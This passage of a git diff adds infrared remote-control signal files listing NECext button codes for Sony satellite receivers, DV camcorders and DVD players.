b/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/64,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/185,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/185,-1.ir new file mode 100644 index 000000000..e557ed9d1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/185,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: PHOTO +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 15 00 00 00 +# +name: START/STOP +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 19 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 2D 00 00 00 +# +name: DATA_CODE +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 4C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/217,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/217,-1.ir new file mode 100644 index 000000000..45cd9c9a2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/217,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: TELEPHOTO +type: parsed +protocol: NECext +address: D9 00 00 00 +command: 1A 00 00 00 +# +name: WIDE_ANGLE +type: parsed +protocol: NECext +address: D9 00 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/7,-1.ir new file mode 100644 index 000000000..6362d6674 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/7,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: X_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: RECORD_DV_IN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 30 00 00 00 +# +name: ZERO_SET_MEMORY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 47 00 00 00 +# +name: SEARCH_MODE_>> +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 56 00 00 00 +# +name: SEARCH_MODE_<< +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 57 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 5A 00 00 00 +# +name: AUDIO_DUB +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/1,-1.ir new file mode 100644 index 000000000..cb019d20e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/1,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOL_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: TV_ON/OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/164,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/164,-1.ir new file mode 100644 index 000000000..b1d171a31 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/164,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: WIDE_MODE +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,218.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,218.ir new file mode 100644 index 000000000..9be595cab --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,218.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: SELECT +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 50 00 00 00 +# +name: L3 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 51 00 00 00 +# +name: R3 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 52 00 00 00 +# +name: START +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 53 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 54 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 55 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 56 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 57 00 00 00 +# +name: L2 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 58 00 00 00 +# +name: R2 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 59 00 00 00 +# +name: L1 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 5A 00 00 00 +# +name: R1 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 5B 00 00 00 +# +name: TRIANGLE +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 5C 00 00 00 +# +name: CIRCLE +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 5D 00 00 00 +# +name: CROSS +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 5E 00 00 00 +# +name: SQUARE +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,73.ir new file mode 100644 index 000000000..ad6391560 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,73.ir @@ -0,0 +1,1232 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 00 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 00 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 01 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 01 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 01 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 02 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 02 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 02 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 04 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 04 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 06 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 06 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 07 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 07 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 08 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 08 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: EXECUTE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: MENU_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0F 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 10 00 00 00 +# +name: SEARCH>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 11 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 15 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 15 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 15 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 16 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1A 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1A 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1B 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1F 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 20 00 00 00 +# +name: SEARCH/STEP_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 20 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 21 00 00 00 +# +name: SEARCH_/STEP<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 21 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 22 00 00 00 +# +name: SLOW_<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 22 00 00 00 +# +name: SCAN/SLOW_<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 22 00 00 00 +# +name: SCAN_/SLOW>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 22 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 23 00 00 00 +# +name: SLOW_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 23 00 00 00 +# +name: SCAN/SLOW_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 23 00 00 00 +# +name: SCAN_/SLOW<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 23 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 28 00 00 00 +# +name: TIME/TEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 28 00 00 00 +# +name: TME/TEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 28 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 29 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2A 00 00 00 +# +name: A_-_B +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2A 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2A 00 00 00 +# +name: A<-->B +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2A 00 00 00 +# +name: A<->B +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2E 00 00 00 +# +name: POWER_ON_(MOST) +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2E 00 00 00 +# +name: POWER_ON_(S7000) +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2F 00 00 00 +# +name: POWER_OFF_(MOST) +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2F 00 00 00 +# +name: POWER_OFF_(S7000) +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2F 00 00 00 +# +name: <>NEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: NEXT_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: NEXT_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: SKIP_<<_(NEXT) +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: NEXT>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 32 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 32 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 33 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 34 00 00 00 +# +name: SCAN>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 34 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 35 00 00 00 +# +name: X2_< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 36 00 00 00 +# +name: X2_> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 37 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 39 00 00 00 +# +name: JOG_CCW +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 3A 00 00 00 +# +name: STEP_<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 3A 00 00 00 +# +name: JOG_- +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 3A 00 00 00 +# +name: JOG_CW +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 3B 00 00 00 +# +name: STEP_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 3B 00 00 00 +# +name: JOG_+ +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 3B 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 40 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 41 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 42 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 43 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 44 00 00 00 +# +name: ONE/ALL_DISCS +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 47 00 00 00 +# +name: .1/ALL_DISCS +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 47 00 00 00 +# +name: 1/ALL_DISCS +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 47 00 00 00 +# +name: 1/ALL_DISCS_/_LOAD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 47 00 00 00 +# +name: BNR +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 48 00 00 00 +# +name: DNR +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 48 00 00 00 +# +name: LOAD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 49 00 00 00 +# +name: 1/ALL_DISCS_/_LOAD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 49 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 4B 00 00 00 +# +name: MEGA +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 4E 00 00 00 +# +name: MEGA_CONTROL +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 4E 00 00 00 +# +name: MEMO_INPUT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 4F 00 00 00 +# +name: PICTURE_NAVI +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 50 00 00 00 +# +name: EASY_PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 52 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 53 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 53 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 53 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 54 00 00 00 +# +name: VIDEO_ON/OFF +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 55 00 00 00 +# +name: FL_ON/OFF +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 56 00 00 00 +# +name: BOOK_MARK +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 57 00 00 00 +# +name: DVE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 58 00 00 00 +# +name: SUR +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 5A 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 5A 00 00 00 +# +name: PICTURE_MODE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 5B 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 5C 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 5C 00 00 00 +# +name: STEP< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 5C 00 00 00 +# +name: SACD/CD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 5F 00 00 00 +# +name: SLOW_<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 60 00 00 00 +# +name: SLOW_MOTION_< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 60 00 00 00 +# +name: SLOW_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 61 00 00 00 +# +name: SLOW_MOTION_> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 61 00 00 00 +# +name: SUBTITLE_ON/OFF +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 62 00 00 00 +# +name: SUB-TITLE_ON/OFF +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 62 00 00 00 +# +name: SUBTITLE_CHANGE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 63 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 63 00 00 00 +# +name: SUBTITLE_/_EDIT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 63 00 00 00 +# +name: SUBTITLE_ON/OFF +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 63 00 00 00 +# +name: SUB-TITLE_CHANGE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 63 00 00 00 +# +name: AUDIO_CHANGE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 64 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 64 00 00 00 +# +name: AUDIO_/_FILE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 64 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 64 00 00 00 +# +name: ANGLE_CHANGE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 65 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 65 00 00 00 +# +name: ANGLE_/_SORT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 65 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 72 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 72 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 72 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 72 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 72 00 00 00 +# +name: DIAL_CCW +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 72 00 00 00 +# +name: SCAN>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 73 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 73 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 73 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 73 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 73 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 73 00 00 00 +# +name: DIAL_CW +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 73 00 00 00 +# +name: PICTURE_MEMORY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 76 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,83.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,83.ir new file mode 100644 index 000000000..a0e48c3a9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,83.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 0B 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 10 00 00 00 +# +name: CH_DN +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 11 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 15 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 17 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 1A 00 00 00 +# +name: SCAN/SLOW_<< +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 1B 00 00 00 +# +name: SCAN/SLOW_>> +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 1C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 1D 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 1E 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 22 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 23 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 24 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 2A 00 00 00 +# 